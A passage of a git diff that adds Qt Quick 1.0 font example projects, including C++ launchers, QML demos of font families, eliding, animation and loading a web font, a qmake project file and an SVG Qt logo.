V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/text/fonts/availableFonts/main.cpp b/examples/declarative/text/fonts/availableFonts/main.cpp
new file mode 100644
index 00000000..3b26ddec
--- /dev/null
+++ b/examples/declarative/text/fonts/availableFonts/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtCore module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtGui/QApplication>
+#include "qmlapplicationviewer.h"
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationLockLandscape);
+ viewer.setMainQmlFile(QLatin1String("qml/availableFonts/availableFonts.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/text/fonts/availableFonts/qml/availableFonts/availableFonts.qml b/examples/declarative/text/fonts/availableFonts/qml/availableFonts/availableFonts.qml
new file mode 100644
index 00000000..519d91b7
--- /dev/null
+++ b/examples/declarative/text/fonts/availableFonts/qml/availableFonts/availableFonts.qml
@@ -0,0 +1,57 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ width: 480; height: 640; color: "steelblue"
+
+ ListView {
+ anchors.fill: parent; model: Qt.fontFamilies()
+
+ delegate: Item {
+ height: 40; width: ListView.view.width
+ Text {
+ anchors.centerIn: parent
+ text: modelData; font.family: modelData; font.pixelSize: 24; color: "white"
+ }
+ }
+ }
+}
diff --git a/examples/declarative/text/fonts/availableFonts/qml/availableFonts/banner.qml b/examples/declarative/text/fonts/availableFonts/qml/availableFonts/banner.qml
new file mode 100644
index 00000000..7784b8b2
--- /dev/null
+++ b/examples/declarative/text/fonts/availableFonts/qml/availableFonts/banner.qml
@@ -0,0 +1,61 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: screen
+
+ property int pixelSize: screen.height * 1.25
+ property color textColor: "lightsteelblue"
+ property string text: "Hello world! "
+
+ width: 640; height: 320
+ color: "steelblue"
+
+ Row {
+ y: -screen.height / 4.5
+
+ NumberAnimation on x { from: 0; to: -text.width; duration: 6000; loops: Animation.Infinite }
+ Text { id: text; font.pixelSize: screen.pixelSize; color: screen.textColor; text: screen.text }
+ Text { font.pixelSize: screen.pixelSize; color: screen.textColor; text: screen.text }
+ Text { font.pixelSize: screen.pixelSize; color: screen.textColor; text: screen.text }
+ }
+}
diff --git a/examples/declarative/text/fonts/availableFonts/qml/availableFonts/fonts.qml b/examples/declarative/text/fonts/availableFonts/qml/availableFonts/fonts.qml
new file mode 100644
index 00000000..8d7a56e8
--- /dev/null
+++ b/examples/declarative/text/fonts/availableFonts/qml/availableFonts/fonts.qml
@@ -0,0 +1,104 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ property string myText: "The quick brown fox jumps over the lazy dog."
+
+ width: 800; height: 480
+ color: "steelblue"
+
+ FontLoader { id: fixedFont; name: "Courier" }
+ FontLoader { id: localFont; source: "fonts/tarzeau_ocr_a.ttf" }
+ FontLoader { id: webFont; source: "http://www.princexml.com/fonts/steffmann/Starburst.ttf" }
+
+ Column {
+ anchors { fill: parent; leftMargin: 10; rightMargin: 10 }
+ spacing: 15
+
+ Text {
+ text: myText
+ color: "lightsteelblue"
+ width: parent.width
+ elide: Text.ElideRight
+ font.family: "Times"; font.pointSize: 42
+ }
+ Text {
+ text: myText
+ color: "lightsteelblue"
+ width: parent.width
+ elide: Text.ElideLeft
+ font { family: "Times"; pointSize: 42; capitalization: Font.AllUppercase }
+ }
+ Text {
+ text: myText
+ color: "lightsteelblue"
+ width: parent.width
+ elide: Text.ElideMiddle
+ font { family: fixedFont.name; pointSize: 42; weight: Font.Bold; capitalization: Font.AllLowercase }
+ }
+ Text {
+ text: myText
+ color: "lightsteelblue"
+ width: parent.width
+ elide: Text.ElideRight
+ font { family: fixedFont.name; pointSize: 42; italic: true; capitalization: Font.SmallCaps }
+ }
+ Text {
+ text: myText
+ color: "lightsteelblue"
+ width: parent.width
+ elide: Text.ElideLeft
+ font { family: localFont.name; pointSize: 42; capitalization: Font.Capitalize }
+ }
+ Text {
+ text: {
+ if (webFont.status == FontLoader.Ready) myText
+ else if (webFont.status == FontLoader.Loading) "Loading..."
+ else if (webFont.status == FontLoader.Error) "Error loading font"
+ }
+ color: "lightsteelblue"
+ width: parent.width
+ elide: Text.ElideMiddle
+ font.family: webFont.name; font.pointSize: 42
+ }
+ }
+}
diff --git a/examples/declarative/text/fonts/availableFonts/qml/availableFonts/fonts/tarzeau_ocr_a.ttf b/examples/declarative/text/fonts/availableFonts/qml/availableFonts/fonts/tarzeau_ocr_a.ttf
new file mode 100644
index 00000000..cf93f965
--- /dev/null
+++ b/examples/declarative/text/fonts/availableFonts/qml/availableFonts/fonts/tarzeau_ocr_a.ttf
Binary files differ
diff --git a/examples/declarative/text/fonts/availableFonts/qml/availableFonts/hello.qml b/examples/declarative/text/fonts/availableFonts/qml/availableFonts/hello.qml
new file mode 100644
index 00000000..7a6b2c2c
--- /dev/null
+++ b/examples/declarative/text/fonts/availableFonts/qml/availableFonts/hello.qml
@@ -0,0 +1,79 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: screen
+
+ width: 800; height: 480
+ color: "black"
+
+ Item {
+ id: container
+ x: screen.width / 2; y: screen.height / 2
+
+ Text {
+ id: text
+ anchors.centerIn: parent
+ color: "white"
+ text: "Hello world!"
+ font.pixelSize: 60
+ smooth: true
+
+ SequentialAnimation on font.letterSpacing {
+ loops: Animation.Infinite;
+ NumberAnimation { from: 0; to: 150; easing.type: Easing.InQuad; duration: 3000 }
+ ScriptAction {
+ script: {
+ container.y = (screen.height / 4) + (Math.random() * screen.height / 2)
+ container.x = (screen.width / 4) + (Math.random() * screen.width / 2)
+ }
+ }
+ }
+
+ SequentialAnimation on opacity {
+ loops: Animation.Infinite;
+ NumberAnimation { from: 1; to: 0; duration: 2600 }
+ PauseAnimation { duration: 400 }
+ }
+ }
+ }
+}
diff --git a/examples/declarative/text/fonts/banner/banner.png b/examples/declarative/text/fonts/banner/banner.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/text/fonts/banner/banner.png
Binary files differ
diff --git a/examples/declarative/text/fonts/banner/banner.pro b/examples/declarative/text/fonts/banner/banner.pro
new file mode 100644
index 00000000..34cee369
--- /dev/null
+++ b/examples/declarative/text/fonts/banner/banner.pro
@@ -0,0 +1,41 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/banner
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+# Avoid auto screen rotation
+DEFINES += ORIENTATIONLOCK
+
+# Needs to be defined for Symbian
+#DEFINES += NETWORKACCESS
+
+symbian:TARGET.UID3 = 0xEBAA8CBE
+
+# Smart Installer package's UID
+# This UID is from the protected range
+# and therefore the package will fail to install if self-signed
+# By default qmake uses the unprotected range value if unprotected UID is defined for the application
+# and 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Define QMLJSDEBUGGER to allow debugging of QML in debug builds
+# (This might significantly increase build time)
+# DEFINES += QMLJSDEBUGGER
+
+# If your application uses the Qt Mobility libraries, uncomment
+# the following lines and add the respective components to the
+# MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/text/fonts/banner
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/text/fonts/banner/banner.qmlproject b/examples/declarative/text/fonts/banner/banner.qmlproject
new file mode 100644
index 00000000..6c3e35a8
--- /dev/null
+++ b/examples/declarative/text/fonts/banner/banner.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/banner"
+ }
+ JavaScriptFiles {
+ directory: "qml/banner"
+ }
+ ImageFiles {
+ directory: "qml/banner"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/text/fonts/banner/banner.svg b/examples/declarative/text/fonts/banner/banner.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/text/fonts/banner/banner.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/text/fonts/banner/main.cpp b/examples/declarative/text/fonts/banner/main.cpp
new file mode 100644
index 00000000..c693e991
--- /dev/null
+++ b/examples/declarative/text/fonts/banner/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtCore module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtGui/QApplication>
+#include "qmlapplicationviewer.h"
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationLockLandscape);
+ viewer.setMainQmlFile(QLatin1String("qml/banner/banner.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/text/fonts/banner/qml/banner/availableFonts.qml b/examples/declarative/text/fonts/banner/qml/banner/availableFonts.qml
new file mode 100644
index 00000000..519d91b7
